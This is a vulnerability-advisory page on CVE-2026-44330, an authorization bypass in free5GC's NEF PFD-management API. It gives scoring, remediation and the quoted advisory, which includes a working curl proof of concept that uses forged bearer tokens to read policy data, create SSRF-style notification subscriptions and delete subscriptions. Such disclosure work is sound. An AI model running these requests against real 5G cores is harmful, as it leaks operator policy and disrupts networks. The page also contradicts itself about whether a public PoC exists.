Skip to main content

free5GC CVE-2026-44330

| EUVDEUVD-2026-32568 CRITICAL
Incorrect Authorization (CWE-863)
2026-05-08 https://github.com/free5gc/free5gc GHSA-rwww-x45w-p52w
10.0
CVSS 3.1 · Vendor: https://github.com/free5gc/free5gc
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach NEF SBI on core network
  2. Delivery
    Send request with forged bearer token
  3. Exploit
    Bypass missing auth middleware
  4. Execution
    Read PFD policy or create/delete subscriptions
  5. Impact
    Leak traffic-classification data and coerce outbound SSRF notifications

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires only network reachability to the NEF's SBI listener (validated on http://<nef>:8000) running free5GC < 4.2.2 with the default configuration where nnef-pfdmanagement is declared in the runtime ServiceList and 'OAuth2 setting receive from NRF: true' is set - no valid token, no user interaction, and no prior authentication are needed, since any arbitrary bearer string is accepted. The primary limiting factor is exposure: the SBI is intended to be an internal operator network, so an attacker must first be able to reach that segment; deployments that strongly segment or proxy-authenticate the SBI substantially reduce real-world exploitability even though the flaw itself is unauthenticated.

Impact

The published CVSS 3.1 score is 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H), reflecting trivially remote, unauthenticated, low-complexity exploitation with scope change. That maximal score is partly driven by aggregating the full route-group capability surface; the confidentiality impact is only Low (policy metadata leak, not credentials or user data). Signals conflict on real-world urgency: publicly available exploit code exists (detailed, reproduced PoC), but EPSS is only 0.04% (11th percentile) and the CVE is not in CISA KEV, indicating no confirmed active exploitation. The gating factor is exposure - the SBI is intended to be an internal, operator-controlled network segment, so real risk hinges on whether the NEF SBI is reachable by an attacker. For any deployment where the SBI is network-reachable this is a genuine high-priority authorization failure on a production-intended service; for well-segmented cores the practical probability is lower, consistent with the low EPSS suggesting targeted rather than opportunistic exploitation. Note the affected 5G-core product footprint is small, further limiting mass-exploitation potential.

Exploit ScenarioDerived

An attacker with any foothold that can route to the NEF SBI (for example a compromised host on the core network segment or an exposed management interface) sends GET /nnef-pfdmanagement/v1/applications with a fabricated 'Authorization: Bearer not-a-real-token' header and receives 200 OK containing PFD traffic-classification policy. They then POST a subscription with a notifyUri pointing at an attacker-controlled endpoint, coercing NEF into issuing outbound HTTP requests, and DELETE existing subscriptions to disrupt legitimate PFD-change propagation. A working, end-to-end PoC has been published and reproduced against a running NEF container.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

Authentication bypass in free5GC's NEF (Network Exposure Function) nnef-pfdmanagement SBI route group allows any network attacker reaching the NEF service interface to submit forged bearer tokens and access PFD (Packet Flow Description) management APIs on free5GC versions before 4.2.2. Because the entire route group is mounted with no inbound OAuth2/authorization middleware despite NEF advertising 'OAuth2 setting receive from NRF: true', attackers can read AF-supplied traffic-classification policy, create attacker-controlled change-notification subscriptions (an outbound SSRF primitive), and delete legitimate subscriptions. Publicly available exploit code exists with an end-to-end validated PoC, though EPSS remains very low (0.04%) and it is not listed in CISA KEV.

RemediationAI

Vendor-released patch: upgrade free5GC to version 4.2.2 or later, which is the fixed release per ENISA EUVD; the upstream code fix is provided in NEF pull request https://github.com/free5gc/nef/pull/23 and tracked via https://github.com/free5gc/free5gc/issues/862 and advisory GHSA-rwww-x45w-p52w. Until the upgrade is applied, restrict SBI network reachability so only trusted 5G core NFs can reach NEF on its SBI port (e.g. the lab default TCP 8000) via network segmentation, service-mesh mTLS, or firewall rules limiting the nnef-pfdmanagement path to known peers - the trade-off is that any legitimate AF/NF that must call NEF over an untrusted path will also be blocked. Deploying an authenticating reverse proxy in front of NEF that validates NRF-issued OAuth2 bearer tokens before forwarding is a stronger compensating control, at the cost of added latency and operational complexity. Do not rely on the NEF's 'OAuth2 setting receive from NRF: true' advertisement, as this route group ignores it.

Affected VersionsENISA

Free5GC < 4.2.2

Affected Packages

go github.com/free5gc/nef no fix
euvd free5gc fix: 4.2.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

free5GC is an open-source implementation of the 3GPP 5G core network. The NEF exposes northbound APIs over the Service-Based Interface (SBI), which in 5G is expected to be secured via NRF-issued OAuth2 bearer tokens per 3GPP TS 33.501. The nnef-pfdmanagement service manages Packet Flow Descriptions - traffic-classification rules (URL regex patterns, application identifiers) that flow through UDR to SMF/UPF for policy enforcement. The root cause (CWE-863, incorrect authorization; also characterized as CWE-306 missing authentication and CWE-862 missing authorization) is that the Gin route group is registered in NFs/nef/internal/sbi/server.go:56 without any auth middleware, so no token validation occurs before requests reach the handlers in api_pfdf.go and processor/pfdf.go. The NEF context only implements outbound token acquisition (GetTokenCtx in nef_context.go:153) and has no inbound verification path. Affected package: pkg:go/github.com/free5gc/nef.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/free5gc/free5gc) PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
vuln.today AI 9.9 CRITICAL

Remote unauthenticated low-complexity access (AV:N/AC:L/PR:N); scope change as forged subscriptions coerce NEF outbound requests (S:C); C:L policy leak, I:H subscription create/delete, A:L limited to notification disruption.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
SUSE CRITICAL

Primary rating from Vendor (https://github.com/free5gc/free5gc).

CVSS VectorVendor: https://github.com/free5gc/free5gc

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
May 27, 2026 - 19:46 EUVD
CVE Published
May 08, 2026 - 23:02 nvd
CRITICAL 10.0

DescriptionCVE.org

Summary

free5GC's NEF mounts the nnef-pfdmanagement route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) to read PFD application data via GET /applications and GET /applications/{appID}, and to create or delete PFD change-notification subscriptions via POST /subscriptions and DELETE /subscriptions/{subID}. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, nnef-pfdmanagement IS declared in the runtime ServiceList, so this is the production-intended path that operators expect to be protected by OAuth2 setting receive from NRF: true -- and it is not.

Details

Validated against the NEF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/nef:v4.2.0
  • Runtime NEF commit: 5ce35eab
  • Docker validation date: 2026-03-11

NEF advertises OAuth2 setting receive from NRF: true, but the entire nnef-pfdmanagement route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state.

Code evidence (paths in free5gc/nef):

  • Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:56
  • Read routes exposed at /applications and /applications/:appID: NFs/nef/internal/sbi/api_pfdf.go:13
  • Subscription routes exposed at /subscriptions and /subscriptions/:subID: NFs/nef/internal/sbi/api_pfdf.go:13
  • GET /applications queries UDR for application PFD data: NFs/nef/internal/sbi/processor/pfdf.go:19
  • GET /applications/:appID queries UDR for an application PFD: NFs/nef/internal/sbi/processor/pfdf.go:53
  • POST /subscriptions only checks notifyUri is present, then stores the subscription: NFs/nef/internal/sbi/processor/pfdf.go:83
  • DELETE /subscriptions/:subID removes the subscription: NFs/nef/internal/sbi/processor/pfdf.go:110
  • NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nef_context.go:153

PoC

Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.

  1. Seed an AF context (also forged-token):
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions
  1. Seed one PFD application entry (also forged-token):
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S*)?$"]}}}}}' \
  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions
  1. READ PFD collection with forged token -> 200 OK returns PFD data:
curl -i -H 'Authorization: Bearer not-a-real-token' \
  'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311'
  1. READ individual PFD with forged token -> 200 OK:
curl -i -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311
  1. CREATE PFD subscription with forged token -> 201 Created:
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \
  http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions
  1. DELETE PFD subscription with forged token -> 204 No Content:
curl -i -X DELETE \
  -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1

NEF container logs (docker logs nef) show requests reaching business handlers and returning success codes:

[INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET    | /nnef-pfdmanagement/v1/applications?application-ids=...
[INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET    | /nnef-pfdmanagement/v1/applications/...
[INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2]
[INFO][NEF][GIN] | 201 | POST   | /nnef-pfdmanagement/v1/subscriptions
[INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1]
[INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1

Impact

Missing inbound authentication (CWE-306) and authorization (CWE-862) on the nnef-pfdmanagement SBI route group. This is the production-intended PFD service for NEF (declared in the runtime ServiceList), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can:

  • Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF.
  • Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen notifyUri endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to.
  • Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation.

The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23

Executive ViewAI

Why It Matters

free5GC Network Exposure Function versions before 4.2.2 contain a critical authentication bypass (CVSS 10.0) allowing unauthenticated network attackers to access packet flow policies, manipulate traffic notification subscriptions, and trigger outbound requests. Organizations running affected versions face direct exposure of network configuration data and risk of service disruption through unauthorized subscription manipulation.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Prevalence
Low
open-source 5G core, mainly research/lab and limited operator deployments
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy